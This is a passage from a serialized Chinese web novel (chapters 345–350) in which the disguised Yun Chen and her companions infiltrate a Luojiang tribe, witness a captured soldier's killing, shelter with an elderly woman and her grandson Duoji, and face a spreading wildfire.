到了霍乾念的时候,云琛拿着铁链去抓他,却见他不知何时已站了起来,正好整以暇地长身靠在墙边,一条腿还颇为悠闲地微微屈起。
她心里还挂着吵架的气,刻意不去看他那个“孔雀开屏”的样子,只摆出一张冷若冰霜的脸,动作粗鲁地去扯他身上的绳索。
不知触到了他哪根敏感的神经,他全然忘记方才被打过后脑勺,嘴角一勾,微微歪头,似笑非笑地低下头,看着正折腾他和绳索的那双小手。
目光落在她白皙的手背上——
皮肤牛奶似的白,清秀的骨节微微凸起,手里却反差强烈地抓着好粗一根……铁链。
看着这一幕,他身子莫名涌上一股潮热。
这时,云琛已扯下他身上的绳索,冷冷命令道:
“转过去趴好!”
他唇角勾得愈发明显,先是不紧
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不慢地站起身,故意用胸膛贴近她的脸,而后才慢悠悠地转过去,将手腕上的绳索露出来。
本来就是伪装而已,绳索捆得并不牢固。
为了安全,云琛打的都是活结,关键时刻只需轻轻一挣就能脱开。
可霍某人却在云琛拆绳索的时候,幽怨地轻呼了一句:
“嘶……痛……”
这句暧昧,旁人听不出来,洛疆人听不懂,但云琛却好似被一股香风暖雾袭了胸口,脸蹭得红起来。
她清清嗓子,试图凶狠:
“转过来!”
霍乾念乖乖转身,看着她一圈一绕地往他身上捆绑铁锁,脸庞一下下触着他胸口,手臂拥抱般环过他的身子,他感觉体内躁动更甚,漆黑的眸子直勾勾地看着她。
云琛压根没有抬头,但却清清楚楚地感觉到他灼灼又极具侵略意味的目光。
她心里最后那点气也没了,只剩紧张和慌乱。
生怕被周围洛疆人看出端倪,她用最快的速度将他捆好,拽了拽铁索试试力道。
结果不拽倒好,她一拽,他整个人没动,但却十分配合地挺了挺腰,顶了顶胯。
那动作慵懒随性,再加上他身量高阔,比例极佳,不禁令人想入非非。
“过去蹲好!”她脸越发红,拼命压低帽檐遮挡,手里狠狠用力去拽。
这一次,他没有再“偷懒”只动腰,不动身,而是整个人顺着力道扑过去,轻轻撞在她身上,飞快地咬了下她的耳朵,低沉着嗓子,用只有她能听见的声音,挑逗似的,愉悦又温柔地:
“不生气了,好不好?”
未等她有所反应,他已收敛所有,重新变回“一只等待被卖的不良犬”,仿佛无事发生一样,一副垂头丧气的样子,靠坐在叶峮身旁。
一切不过瞬息之间。
对于周围的洛疆人来说,并看不出什么奇怪,不过是奴隶贩子在妥善安排“个人财产”。
但叶峮和不言,作为两个最熟悉霍乾念和云琛、已见识过几百次小两口恩爱场面的人,看着刚刚发生的这一幕,还是有种被震撼到的感觉。
像是被迫看了场春宫表演,叶峮心说:
真行,你们两口子玩的是越来越大,花样越来越多了……这个时候还玩,刺激是吧?
不言则第一次从一个男人的眼神里看出“钩子”这种东西,才知道有的男人已经厉害到,光用眼神就能将女人的衣服剥光——
哪怕对方穿着厚重难脱的羊皮大衣!
不言一脸钦佩地看着霍乾念,再看云琛,还是接受不了她是女人,不禁咧咧嘴,心中哀嚎:
少主!要不要这么放肆?你剥的可是我的好哥们儿啊!能不能去没人的地方剥啊!别让我看见!啊啊啊!少主!你还我眼睛!
第345章 逃亡将士
一场对云琛来说“心惊肉跳”的小插曲很快结束。
为了避免周围洛疆人起疑心,云琛再次挨个捶了三人几拳头。
“收拾”完三人,云琛坐回桌子边,装作不耐烦的样子敲敲桌面,示意小贩拿来酒食。
小贩年纪不大,看起来只有十二三岁的样子,还是小小少年的模样,端着吃食走过来,用洛疆语叽里咕噜地说了一堆。
云琛一个字都没听懂,掏出一颗金豆子扔在桌子上,下巴一扬,眼睛一瞪,作出冰冷又无礼的态度。
管他语言通不通,黄金这玩意儿全世界都通。
少年小贩高兴地将金子揣进怀里,又将一大壶奶酒和满满一盆牛肉干放在云琛面前,还放了各种云琛没见过的点心,然后高兴地拎着空箱子回家了。
云琛一边喝奶酒、啃牛肉干,一边不动声色地打量四周。
和她这边情况一样,卖奴隶的贩子都坐在桌边喝酒。奴隶们全都被铁链拴着,蹲在地上等着被卖。
她一个个仔细去看奴隶们的脸,只有少数几个是矮小、瘦弱的洛疆人,剩下的竟几乎全是楠国人。
其中有七八个身穿铠甲、浑身是伤的北伐军逃亡将士,像洛疆人平时栓狗那样,被粗暴侮辱地用链子拴着脖子,反手捆绑,跪在地上。
云琛与那几个逃亡将士的眼神对视上,一种说不上是什么的情感在空中轻轻对碰。
那几个逃亡将士静静地望着她,目光不解、黯淡,又充满悲伤无望。
方才她演的戏,那故意凶狠的话,恶狠狠的动作,霍乾念他们知道是假的,但看在那几个逃亡将士的眼中却是真的。
对处在这样任人宰割地步的几个逃亡将士来说,看着楠国人竟也开始贩卖楠国人,甚至和洛疆人一样对待楠国人,大约心中只有寒凉吧。
不忍与那几个北伐军逃亡将士对视,云琛用低头喝酒掩饰情绪。
辛辣、酸甜的奶酒充满口腔,冰凉感让云琛的情绪慢慢平复,脸色也逐渐恢复正常。
她埋怨地偷看了霍乾念一眼,而后开始琢磨如何开场,好卖她手里的三只“犬”。
正当她思量时,远处几个已沦为奴隶的北伐军逃亡将士中,一个身上伤痕最多的将士冲着她冷冷开口:
“你为什么卖同胞?”
不等云琛说话,旁边的洛疆人已狠狠一巴掌扇过来。
“啪”的一声,洛疆人的手如熊掌般粗厚,打得那将士满口都是血,身子歪倒在一边。
那将士吐出嘴里的血,费力地重新跪直身子,再次质问:
“是为了钱吗?”
“啪——”洛疆人咒骂一句,抬手又是一耳光。
可那将士仿佛感觉不到疼痛似的,又一次开口:
“你没有父母吗?没有兄弟姐妹吗?祖辈难道是石头里蹦出来的不是楠国人吗?!为什么要帮这些畜生祸害同胞?!我们背井离乡为了国家为了百姓来打仗!你为什么要这样对我们?!”
云琛维持着面色不波动,手中已暗暗攥紧拳头。
她使劲去看那将士的眼睛,试图用眼神去解释,同时心中暗自祈祷,希望老天爷大发慈悲,叫那将士灵光一现,猜到她的真正使命。
然而现实总是残酷的。
下一刻,旁边的洛疆人再没有给那将士抬头的机会,他挥起手里赶羊的牧杖,劈头盖脸地朝那将士打去。
那洛疆人一边打,一边喋喋不休地骂着云琛听不懂的洛疆话。
那将士四肢都被捆绑,却仍使出全部力气,朝那洛疆人的肚子狠狠撞去,狠狠一口咬上那洛疆人的手。
洛疆人疼得“哇哇”大叫,手上全是血,瞬间发怒,开始更加用力地殴打那将士。
见那将士很快躺在地上一动不动,云琛坐不住了。
她与霍乾念三人快速交换眼神,她想救人,可霍乾念却微微摇头,用眼神表示阻止;叶峮和不言的眼中亦透出犹豫。
小不忍,则乱大谋。
眼下不是救这几个北伐军逃亡将士的时候,云琛需要
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尽快取得洛疆人的信任,才能去打探南璃君的下落、其他北伐军俘虏的下落,布局一场攻杀洛疆及其王庭的大战。
可云琛已经历过一次袖手旁观,害得丹蔻和她的弟弟活生生被虐杀在眼前。
她想要不管不顾,先动手再说。
只要她先动手,霍乾念三人一定会为她出手,一定能救下眼前这些将士!
她好像忘了来到这里的初衷,忘了自己背负着什么关乎更多人——千万人性命的使命。
可霍乾念三人何其了解她,光从她的眼神已料定她准备动手,只得暗暗挣脱铁索,做好随时爆发的预备。
可还没等云琛站起身,突然一声“嘎嘣”脆响传来。
云琛顺着声音望去,只见那洛疆人松开手,站起身,狗熊一样雄壮的身影笼罩着那将士的身躯。
当那洛疆人重新坐回桌边时,云琛才看清,那将士的头已经以绝对不可能的姿势旋向后背,露着一张满是肿胀淤青的血脸,空洞地望着她。
周围的洛疆人见怪不怪,显然这样的情景他们已经见过很多次了。
云琛像被钉住了一般,愣愣地看着那将士,直到那洛疆人找来**,一刀剁下那将士的头,提着往外走,她才感觉所有血液涌上头顶,愤怒得浑身发抖。
那是她的同胞啊!
和狮威军一样为了楠国出生入死的兄弟啊!
叶峮从云琛的神态看出不妙,知道她已然被愤怒冲昏头脑,就要暴走。
他大脑飞快思量,猛起身,直直朝那正往外走的洛疆人撞去,怒吼:
“**畜生!畜生!!老子杀了你!!”
云琛原本手已摸向腰间**,人也站了起来,却完全没想到叶峮会来这么一招,动作比她还快。
紧接着,不言也嘶吼着冲了上去,一头将那洛疆人撞了个趔趄。
叶峮和不言用尽毕生知道的所有脏话去辱骂,用身子疯狂去撞,立刻引来洛疆人劈头盖脸的暴打。
云琛为这一幕惊呆了。
第346章 少年的决定
叶峮和不言齐齐冲上去,疯狂辱骂冲撞那洛疆人,同时手中暗暗抓牢铁索,不叫那本来就松散的锁扣脱落。
云琛惊愣之余,立马反应过来这是为了她。
她是贩卖同胞的奴隶贩子,绝对不可以为那将士的死愤怒。
可叶峮和不言不一样,他们和那将士一样,是要被卖掉的奴隶,他们理当暴起。
挨了叶峮和不言的撞击,那洛疆人气得大喊大叫,扔下那将士的头颅,就要打回去。
旁边几个洛疆人也冲过来帮忙,叶峮和不言立马挨了好几下。
云琛大急,欲出手帮架,却被霍乾念拦住。
他起身挡在云琛眼前,用近乎恳求的眼神看着她,极其细微地摇了摇头。
接着,他学着叶峮的样子朝云琛撞过去,开始咒骂这个黑心的贩卖同胞的人贩子,与云琛“扭打”在一起。
整个场面顿时混乱起来。
好些桌椅被踹翻,奶酒肉干散落一地。
叶峮和不言被几个洛疆人摁着打,云琛在假装收拾完霍乾念之后飞身而起,狠狠朝那洛疆人的喉咙踹去,接着和周围几个洛疆人混战在一起。
剩下围观的洛疆人也激动得高声大喊,同时还要看着手中的“犬”别趁乱**。
整个互犬所像炸锅了一样沸腾起来。
不知打了多久,直到部落的治安队冲进来,给了每人头上一棍子,场面才慢慢平息。
云琛喘着粗气,将满头是血的叶峮和不言拖回去,而后将她先前被踹翻的桌椅扶起,“咣”地杵在地上,发出巨大的声响。
在所有洛疆人的注视下,她黑着脸,瞪着**的眸子,狠狠抹去额角滴落的鲜血,而后一口气干掉壶中酒,踹翻了脚边的马凳。
治安队仔细打量她,再看看鼻青脸肿、比她要惨一百倍的几个洛疆人,用洛疆语询问向周围的人。
在得到答案后,一个治安官走到云琛面前,用生硬的楠国国语问道:
“他们说,你的奴隶先打他们,是的吗?”
“对!”云琛回答,然后指指叶峮和不言,又指向地上那北伐军将士的人头:
“本来相安无事,我只是来这里卖奴隶。可他们非要在这当众杀楠国兵,这才引起我的奴隶不满。”
治安官楠国国语还行,听懂了,转头又向那几个洛疆人问了几句,应该是在核实云琛话的真假。
随后,治安官厉声斥责了几个洛疆人,狠狠地给了那杀北伐军将士的洛疆人头上一棍子,又对云琛严厉道:
“楠国人!不许**!**的赶走!”
云琛虽气,但现下已冷静下来,知道不可意气用事。
见叶峮和不言伤得不轻,她想要带他们去疗伤,便装作十分生气的样子,一边骂着“**晦气!老子就是来挣钱的!搞什么!”一边拉着霍乾念他们离开。
离开互犬所,四人无处可去,只能找到一处背风的马棚歇息。
四周到处都是大大小小的帐篷,但洛疆少有外人来,没有所谓的“客栈”。
平常若有洛疆人需要在外过夜,一般都是就近找个帐篷住,主人都非常好客愿意。
云琛四人在此人生地不熟,没有认识的人,也就没有帐篷可住。
四人在马棚里坐着,用雪块清洗身上的伤口。
云琛用雪块敷着肿胀的额头,眼睛望着空中虚无发呆。
霍乾念很想安慰云琛,可碍于周围总有洛疆人经过,对他们这四个楠国人投来观察的目光,他只能小声叫了句:
“琛儿。”
云琛一动不动,半天才低低回了句:
“我没事。”
叶峮和不言叹了口气。
不言想说“那将士已经**,我们就是这时候暴露身份也救不了他”,或者说“阿琛,君子报仇十年不晚,我们很快会为那将士报仇的”,可嘴巴动来动去,最终什么也没说。
三人都知道云琛难受,也和她一样难受,为眼睁睁看着同胞死在眼前却不能救而懊恼。
可他们不知道的是,云琛从来没有对任何人说过,这样惨烈的事情,她已经是第二次经历。
再次的袖手旁观,为了所谓的大局。
再次地看着同胞的血洒在自己面前。
云琛静静地坐着,发呆了很久。
直到天色黑透,北风呼呼地刮来大雪,周围已不见人影,洛疆人都钻进帐篷躲避风雪,她才声音微弱地开口:
“把马棚里的草料堆一堆,睡吧。”
……
……
相比楠国的风花雪月,洛疆这等极北苦寒之地的风雪,像是要人命似的。
寒风直往骨头里钻,雪像石子一样重,打在脸上生疼。
雪花落在地上,很快结得瓷实又坚硬。
云琛四人缩在马棚草垛里,裹紧衣领,脚冷——裹住脚,头又冷。
寒风钻进头皮里,整个脑仁蹭蹭地疼。
这个时候也顾不上什么男女大防还是主子护卫的,四个人紧紧靠在一起取暖。
不言冻得牙齿不停打哆嗦,叶峮忍不住说:
“你特娘的咋不动舌头也这么吵?服了!”
霍乾念躺在云琛上风处,将身子侧着,尽力为她挡风。
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>和从前一样,云琛望着天,他望着云琛。
“天上的星星好漂亮。”她轻声地说。
不言抬头看了一眼,“我脑门子冻得都冒金星了,也挺漂亮的。”
叶峮无语的眉头和脸皱成一团,“你再张嘴我把你舌头割了信不信?现在!立刻!马上!给我打呼噜!开始!”
不言咽了口唾沫,“哼哼”两声,小声说:
“风直往嘴里灌,呼噜打不出来啊……”
呜呜的风声代替了叶峮的骂娘。
云琛好似没有听见叶峮和不言在说什么,也不在乎谁回答她的话,仍旧静静地望着天空。
洛疆的夜好冷,天空却幽蓝广阔,繁星与天河闪烁着光芒,美丽极了。
霍乾念抬手遮住她的眼睛,温柔却坚定地命令:
“琛儿乖,睡一会儿。”
云琛没有说话。霍乾念感觉到一点温热打湿掌心,又很快被风吹得冰凉。
他就这么一直用手捂着她的眼,直到掌心不再有温热,他将铠甲脱下来盖在她身上,哄孩子一样轻拍:
“睡吧。睡一觉就好了。”
叶峮和不言见状,赶忙去解自己的铠甲,想要给霍乾念穿,后者打手势表示不用,只用胳膊揽了些草料堆在身旁,勉强充作御寒。
这时,一个惊讶的声音在马棚外响起,是一句洛疆语,云琛四人听不懂,但还是立刻翻身而起。
叶峮下意识去看身上的铁索,还好,睡前几人就想得妥帖,只解开了手腕上的锁扣,没有解身上的。
这里实在太冷,抱团取暖看起来还算合理。
眼前这个洛疆人和其他身材高壮的洛疆人不一样,看起来瘦瘦小小,是白天在互犬所里卖给云琛吃食的少年,看起来像是专程找过来的。
“你找我有事?”云琛问完,少年叽里咕噜说了一堆。
两人好似鸡同鸭讲,谁也听不懂谁的意思。
少年露出无奈的表情,将先前云琛买吃食时给他的金豆子拿出来,又是一通“我来比划你来猜”,示意四人跟着他走。
在少年的话语中,云琛听到重复最高的两个词是“多吉”和“做客”。
从少年毫无心机的真挚神情上,她猜测是邀请他们去帐篷过夜。
已入虎穴,求虎心切。
想了想,云琛拿起铁索,牵着霍乾念三人,跟上少年的脚步。
少年高兴地笑起,在前面蹦蹦跳跳地走着,向家的方向而去。
少年并不知道,这将会是他此生最后悔的决定。
就像他猜不到,命运早已暗中写好了每个人的结局。
第347章 多吉和老阿奶
少年领着云琛四人走了好一阵,来到整个部落最偏僻的一处帐篷。
和其他家高大厚实、三通四连的帐篷不同,这个帐篷只有两间,身形就和眼前的少年一样细小。
帐篷低矮、破旧,门上挂着一盏微弱的风灯。蓬顶上全是各式各样的补丁。
帐篷旁也没有别家那样大的马棚、牛棚,只有一个小小的羊圈,一只小羊正在里面“咩咩”叫个不停,吃着稀薄的草料。
少年飞奔进羊圈,飞快地抱着小羊亲了一口,然后跑到帐篷门口,一手掀开帐帘,一手热情地招呼云琛四人:
“做客!做客!”
这时,一个穿着破旧棉袄的老阿奶走出帐篷,用颇为熟练的楠国话对云琛几人说:
“晚上刮寒流,进帐篷里睡吧。你给的金子太多了。”
夜色很暗,灯火又微弱,云琛几人看不清老阿奶的神情,却能从那慈祥的语气中感受到善意。
老阿奶和少年一样,都是洛疆少见的瘦小身材,看起来没有什么威胁性。
再加上四人已经冻得手脚都麻木了,实在无暇顾及太多,连忙低头弯腰,钻进帐篷。
帐篷本来就不大,眼下突然多出四个大“男人”,一下子挤得转不开身,云琛只能做出凶狠的样子,对霍乾念三人道:
“奴隶不配睡帐篷!滚出去!”
老阿奶听了,赶紧上前制止云琛的话。
可她制止的动作既不是呵斥,也不是劝说,而是像对待自己的孙子那样,两手轻轻抱了下云琛的肩膀,慈爱地说:
“好孩子,不要这样,旁边的小帐篷还可以睡,奴隶也是人,让他们睡那里吧。”
这意味着四个人要分开过夜。云琛警惕地打量四周。
帐篷里面是一大一小两张矮榻,上面叠放着打补丁的薄被。再有就是些生活杂物,看起来只有少年和老阿奶住在这里。
帐篷中央是火炉和锅子。整个地方一件兵器都没有,唯一比较有杀伤力的就是一把火钳子。
云琛短暂地放下戒心,与霍乾念三人交换眼神,而后道:
“便宜你们这几个狗东西了!去吧!”
少年将霍乾念三人带到旁边更小的一间帐篷。
三个人躺在一起,虽然腿都伸不直,但好歹遮风避雪,比起刚才四面漏风的雪地马棚,这里已然是皇宫一般的存在。
不言的牙齿终于不打颤了,对叶峮说了句“你守上半夜,我守下”就一头栽倒,睡死过去。
叶峮叫霍乾念也赶快入睡,可霍乾念却不太放心,人虽然躺下,耳朵却一直听着隔壁的动静。
隔壁帐篷里,老阿奶拍去云琛身上的落雪,将她拉到火炉旁烤火,为她端来一碗香气四溢的热酒。
少年将霍乾念三人安置好后回来,从一只小木箱里翻出牛肉干,笑嘻嘻地塞进云琛手里。
云琛很不适应被洛疆人这么热情地对待,老阿奶看出她的顾虑,笑着说:
“谢谢你的金子,但是太多了,我们给多少奶酒都不够呀,请你们来做客,勉强还一些。”
云琛终于明白,原来是少年高高兴兴地拿了金子回家,但他的奶奶却觉得受之有愧,于是就让少年出去寻他们四人,用请四人在这里过夜作为回报。
老阿奶示意云琛喝酒,“趁热喝,喝了就暖和了。”
云琛捧着酒碗小饮一口,一股辛辣味直冲脑门,但冲过以后却又很暖很甜。
喝了半碗,云琛感觉有些头晕,实在是好厉害的烈酒。
看出云琛不敢喝,少年撒娇似的扑进老阿奶怀里,叽叽咕咕埋怨地说了一堆,老阿奶笑起来,对云琛道:
“这是我的孙子多吉,他在抱怨我把酒酿得太烈
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了,害你喝不成。”
老阿奶说完,多吉将一旁的奶酒壶拿来,想要给云琛换成奶酒,却被她拒绝了。
要换做平时,她绝对不会在身负要事的时候喝醉。
可眼下看着人畜无害的祖孙二人,想着霍乾念三人就在隔壁,脑中再回忆起那北伐军将士临死前的模样,云琛直接仰头干尽碗中酒,辣得她眉头紧皱。
“我是楠国人,你们……为什么敢请、请、请我进帐篷?楠国和洛疆正在打打打仗。”
只不过一眨眼的功夫,云琛说话已经有点不利索了。
老阿奶拿出一件缝了一半的羊皮小袄,贴在多吉身上比比大小,就着昏暗的油灯,眯起眼睛,一针一线地缝起来。
她轻轻叹口气:“打仗嘛,你的儿子去打我的儿子,打来打去,都是天老爷的孩子,天老爷的土地和草原,谁也打不赢,谁也带不走。”
云琛酒意上头,睁着有些发红的眼睛,点点头:
“您说得很对,谁也赢不了。战场上……没有赢家。”
云琛说的话,老阿奶能听懂,少年多吉听不懂。
她每说一句,多吉都要缠着老阿奶再翻译一遍。
显然方才去寻云琛几人时,“做客”俩字都是多吉现学的。
老阿奶两手捧住多吉的小脑袋,用自己的头抵在多吉的额头上。
祖孙两人对话了一阵,看向彼此的眼中,全都是温暖和笑意。
云琛看着这一幕,心里说不上的复杂难受,既羡慕,又落寞,莫名想哭。
看出云琛已经醉了,老阿奶扶着她躺下,嘴里一边哼着她听不懂的歌谣,一边将被子盖在她身上,摸了摸她的头。
云琛昏昏沉沉躺着,视线最后,多吉黝黑带点雀斑的小脸蹲在她面前,呲着一口白牙,朝她憨憨地笑,像是在笑话她酒量不行。
第348章 小羊
云琛沉沉睡去,罕见地放下所有戒心,一觉睡到天亮。
她被帐篷外急促的说话声吵醒,起来一看,老阿奶和多吉正在帐篷外面,和两个身材高大的洛疆男人争论些什么。
云琛揉揉眼睛,定神一看。
那两个洛疆男人里,一个是昨天在互犬所主持混乱场面的治安官,另一个是杀了那北伐将士的洛疆人。
见云琛出来,那治安官皱起眉头,非常不满地冲老阿奶说了许多话。
知道云琛听不懂,治安官用生硬的楠国话说道:
“你!楠国人,来路模糊,很可疑!老阿奶不能留!”
看来并不是所有洛疆人都和老阿奶一样通晓世事,大部分洛疆人还是对楠国人抱有很大的敌意。
老阿奶无奈地“唉”了一声,指指云琛,说:
“他心肠不坏,昨天给多吉金子的时候,怕多吉丢了,用纸包着,是好心肠的。”
云琛想起昨天给多吉付钱的时候,那一袋金豆子,都是他们进入洛疆前特意准备好的。
她当时给了多吉一颗,确实是看多吉年纪太小,怕他会丢,就下意识用随身的草纸裹了一下,才给多吉。
没想到这么一个微小的举动,会让老阿奶感受到云琛的好心肠,大概这才是老阿奶收留四人过夜的真正原因吧。
看见奶奶被治安官训斥来,训斥去,多吉不高兴了。
他用瘦小的身子挡在治安官面前,大声地嚷嚷起来,然后非**屈又生气地摸摸老阿奶的眼睛和胸口,像是在对治安官说:
老阿奶年纪大了,眼睛不好,心脏也不好,他挣钱是为了给老阿奶看病。金子他不想还回去,所以他们要收留云琛以示报答。
治安官被多吉“螳臂挡车”的模样逗笑了,没有恶意地敲了多吉脑袋一下,然后收起笑容,严肃地问云琛:
“昨天没问你。为什么来洛疆,为什么你是楠国人,在这卖楠国人?”
关于这些必定会被盘问的问题,云琛几人来之前就做好了准备。
她先是看了眼为她紧张的老阿奶和多吉一眼,然后拿出准备好的说辞:
“我在楠国杀了人被通缉,无处可去,只能来洛疆。”她指指霍乾念三人睡的偏帐,“我抓奴隶只为卖钱,打仗什么的,跟我没关系。”
治安官狐疑地打量云琛,像是不相信这个白白净净的楠国人会**,又问:
“你在楠国**?杀了谁?”
停顿了一下,云琛道:“土匪欺负我娘,我杀了土匪。”
云琛话音落下,老阿奶惊呼一声,连连双手合十向天祈祷,转而用悲伤又心疼的眼神看着云琛,看得她好不自在。
得到这样一个答案,治安官很惊讶,没有继续盘问云琛,但他身旁那个洛疆男人不愿意了,嘶哑着声音叫唤起来。
治安官翻译:“蒙克说,要不是你,他不会失去一个奴隶。那是他好不容易抓来的,要去卖钱的,现在那个奴隶被你害**,你必须赔偿他。”
那洛疆男人扯扯治安官的袖子,又指向自己嗓子。
治安官有些不耐烦,但还是继续冲云琛道:
“蒙克说你打得他喉咙痛,吃不下东西喝不下水,也要赔偿他。”
云琛冷笑一声。
昨日在互犬所动手时,她第一记飞脚就是直冲那洛疆男人的喉咙而去。
那是对战杀招里很好用的一招,一击就能让对方两眼发黑,喘不上气,大脑短暂晕厥,过后嗓子还要疼上半个月。
但那第一脚踹出去后,云琛就意识到不可暴露太好的身手,所以后面只用蛮力拳脚相斗,她便也打得挂彩。
想起那个北伐军将士,云琛已平息的怒火再次缓缓上涌。
她瞪着那个叫蒙克的洛疆男人,目光渐渐聚上杀意。
这时,老阿奶突然走上前,像多吉刚才护着她一样,挡在了云琛身前,用商量的语气和蒙克交谈了一阵。
最后,治安官终于转身离开。
蒙克也不再纠缠,而是走到羊圈旁,抱起了老阿奶和多吉唯一的小羊。
云琛知道,这是老阿奶替她补偿了蒙克,她想要阻拦,但手摸到腰间空空如也,钱袋子在昨日互犬所打架的时候弄丢了,只得作罢。
眼睁睁看着小羊被抱走,多吉瞬间哭了,扑进老阿奶怀里抽泣起来,却没有去追。
到了中午的时候,蒙克的妻子来还小羊。
只不过是连盆端过来的
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,而且只有一条腿。
这下多吉哭得更大声了,一口也不肯吃。
老阿奶也不肯吃,一盆羊肉全被云琛四人狼吞虎咽造完了。
吃饱喝足,云琛看看哭泣的多吉,拍拍不言的肩:
“走吧,卖你去!”
……
……
昨日闹过一场,云琛这个异乡人的“勇猛”事迹,已然传遍整个部落。
所以,当云琛再次出现在互犬所门口的时候,所有洛疆人齐刷刷地看过来,互犬所里甚至多了两个治安官站岗。
云琛莫名有种自己是个恶霸流氓的幻觉。
而且还是牵着三条恶犬的那种。
尽管昨天云琛已经非常收敛了,但显然,她又狠又利落的身手还是让洛疆人印象深刻。
云琛走到空桌坐定,按计划,要尽力将霍乾念三人卖给看起来较有权势、或者经常四处奔波,比较可能知道王庭位置的人。
可当一个老牧民抱着一只小羊羔过来,想要用小羊换不言的时候,云琛却鬼使神差地答应了。
不言用眼神表示**:
“哥们儿就值一头羊?”
好在牧民只是想租借奴隶干点草场的苦力活,许诺十五天就将不言还回来。
不言黑着脸,用眼神骂骂咧咧,跟着老牧民走了。
剩下云琛牵着霍乾念和叶峮,在互犬所里坐了一整天,谁也没卖出去。
不是没人想买,只是云琛打量买家,看起来都不是他们想要卖出的对象。
大多数人都是看上霍乾念那张无可挑剔的脸,似乎是从没见过这么漂亮的男人,出于好奇来问问价钱。
期间还有好几个人问云琛卖不卖自己。
这么一直坐到天黑,云琛怀里抱着羊,后面牵着俩人,又回到老阿奶的帐篷。
因为奶酒和肉干全都被云琛几个人吃了的缘故,多吉没有吃食可以去卖,在雪地里整整疯玩了一天,这会已经睡着了。
云琛将小羊轻轻放在多吉身边。
小羊“咩”了一声,多吉朦胧转醒,继而发出兴奋的尖叫声,抱着小羊不肯撒手。
老阿奶轻拍胸口,对着天空说了句洛疆话,而后上前捧住云琛的脸,在她额前吻了一口。
第349章 厌倦感
在老阿奶的帐篷里住了十几天,云琛一直在思考:
这到底是一个什么样的民族?一群什么样的人?
和残暴**的黑鳞骑兵不同,洛疆人崇尚勇敢和武力,阶级分明,民风粗犷。
他们认为奴隶是低贱的,可以随意生杀,头颅拿去做酒器正好。
可只要陌生人展露出一点点善意,哪怕还是正与洛疆打得不可开交的楠国人,他们都会立马付出自己全部的热情和真心。
整个部落都知道云琛,都对她戒备又忌惮。
但只短短半个月过去,大部分人再见到她时,竟都会朝她笑。
尤其是看到她和两个“奴隶”在帮老阿奶建新帐篷的时候,那个杀了北伐将士的蒙克,甚至还叫妻子送来羊肉汤。
以为得到了洛疆人的信任,云琛开始想法子打听洛疆王庭的所在。
每当触及这个话题,所有洛疆人,不管是否知道王庭地址,都会立马警惕,避开云琛的询问。
直到云琛拍着他们的肩膀,敷衍地说一句“兄弟,我只是随便问问,别介意”,他们才会重新展开笑脸。
可能是云琛假模假样喊“兄弟”的次数太多了,部落里的人也学会了喊“兄弟”。
好些人还以为这就是云琛的名字,一见到云琛,大老远就开始喊:
“兄弟——呜哩哇啦叽里呱啦羊肉吃不吃巴拉巴拉嘟嘟嘟——”
几天下来,云琛总是恍惚,经常会在做某件事的时候突然走神。
比如帮老阿奶建好新帐篷,看着老阿奶和多吉在宽敞的新帐篷里欢呼的时候;
比如治安官笑着送来云琛遗失的装满金子的钱袋时;
还有帮一个高高大大、不敢用正眼看她和霍乾念的洛疆女人,推着牛车上坡的时候……
云琛总陷入恍神,忍不住停下来问自己:
你在干什么?你在帮助杀害了你四十万同胞的仇人吗?你疯了吗?是为了打探王庭的伪装吧?是吧?
她没有太多机会和霍乾念、叶峮交流,问问他们是不是心里和她一样纠结,因为老阿奶可以听懂楠国话,她不敢露出马脚。
一连又几天过去,算了算时间,不言该从那个牧民的草场回来了。
可等了整整一天,不言没有出现,只是叫顺路的洛疆人送来一封羊皮信。
信上面,不言用烧黑的柴火棍写着:
“老查布的腿摔断了,还没好,我答应帮他多看三天草场。”
老查布就是“租借”走不言的老牧民,是部落看护草场的老人。
显然,不言也和云琛一样,在不知不觉中从一个血腥斗士的角色退出,变成了心肝俱在的凡人。
都说人是最记仇的动物,可人也是最善于遗忘的。
云琛将羊皮信合起来,望向离老阿奶新帐篷不远的小雪山。
雪山不高,但笔挺敦实,像多吉最爱吃的圆滚滚的奶皮子球。
她突然有点喜欢这个野蛮落后、却又朴实热情的地方。
她甚至一瞬间有想要永远留在这里,和慈祥的老阿奶、快乐的多吉永远一起生活的念头。
她不知道自己怎么了,竟第一次对战场有了厌倦感。
夜晚,她躺在榻上,多吉在她臂弯里睡着。
十多天的相处,让多吉彻底喜欢上云琛这个“大哥哥”,无论云琛干什么,多吉都要跟在后面。
如今多吉甚至都不跟老阿奶一起睡了,非要和云琛挤在一起。
云琛只能被迫承担起哄孩子的任务。
老阿奶坐在云琛为她搭建的崭新宽大的暖榻上,笑眯眯地看着她和多吉,费力地眯着眼睛,缝制一件新羊皮袄,唱起古老的洛疆歌谣。
老阿奶的声音微微颤抖,像这广袤的雪原一样苍凉,悠扬地回荡在夜空。
云琛昏昏欲睡,用手指轻轻敲了敲帐篷壁,另一
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边随即传来同样的回应,是霍乾念。
照旧用这种方式道过晚安,云琛忍不住微弯嘴角。
就在她快要睡着的时候,帐篷外面突然响起一阵激烈的马蹄声和呐喊声,顿时将她惊醒。
她听出那是不言的声音,瞬间睡意全无,翻身而起。
她冲隔壁帐子说了句“你们给老子老实待着!”意思是叫霍乾念和叶峮放心,她去看看,而后跑出帐篷。
只见外面已经**起好几个洛疆人。
不言骑着一匹洛疆马奔跑而来,他浑身都是浓烟熏过的黑灰,雪水在他身上融化又凝结成冰,冻得他瑟瑟发抖。
他急急勒马在云琛面前,大喊:
“林场起火了!已经烧到草场!马上就要烧到这里了!所有人快撤离!”
洛疆人听不懂这些。云琛大惊,赶忙将老阿奶拉出来翻译。
在老阿奶的解说下,在场所有洛疆人都面色剧变,高声惊呼起来,急忙去叫治安队。
男人们粗鲁地将妻子和儿女往帐篷里推搡,像是在命令她们不许出来。
云琛也将老阿奶拉回帐篷。多吉已经被吵醒,知道发生了什么,少年的脸上既恐惧又兴奋,忍不住叫起来。
老阿奶生气地拍了下多吉的背,眼神忧虑,重重地叹息:
“快三十年没有过的事了......林场和草场是牧民的根啊,烧掉了,明年牛和羊都要饿死,人也要跟着饿**......”
对洛疆人来说,草原和林场是他们的命根。火灾是能摧毁一切的可怕魔鬼。
云琛想安慰老阿奶,牛羊没了,至少人还在。
老阿奶却摇摇头,目光中是前所未有的惧怕:
“别看冬天有雪,可林子和草都是干的,烧起来快得很,马上就会烧到这里......”
云琛这才意识到问题的严重性,嘱咐多吉照看好老阿奶,再次冲出帐篷。
第350章 意外的大火
云琛再次冲出帐篷时,部落的男人们已经扛着马铲集结成队,在治安队的带领下,向起火的方向冲去。
火灾虽罕见,但也不是没有过。
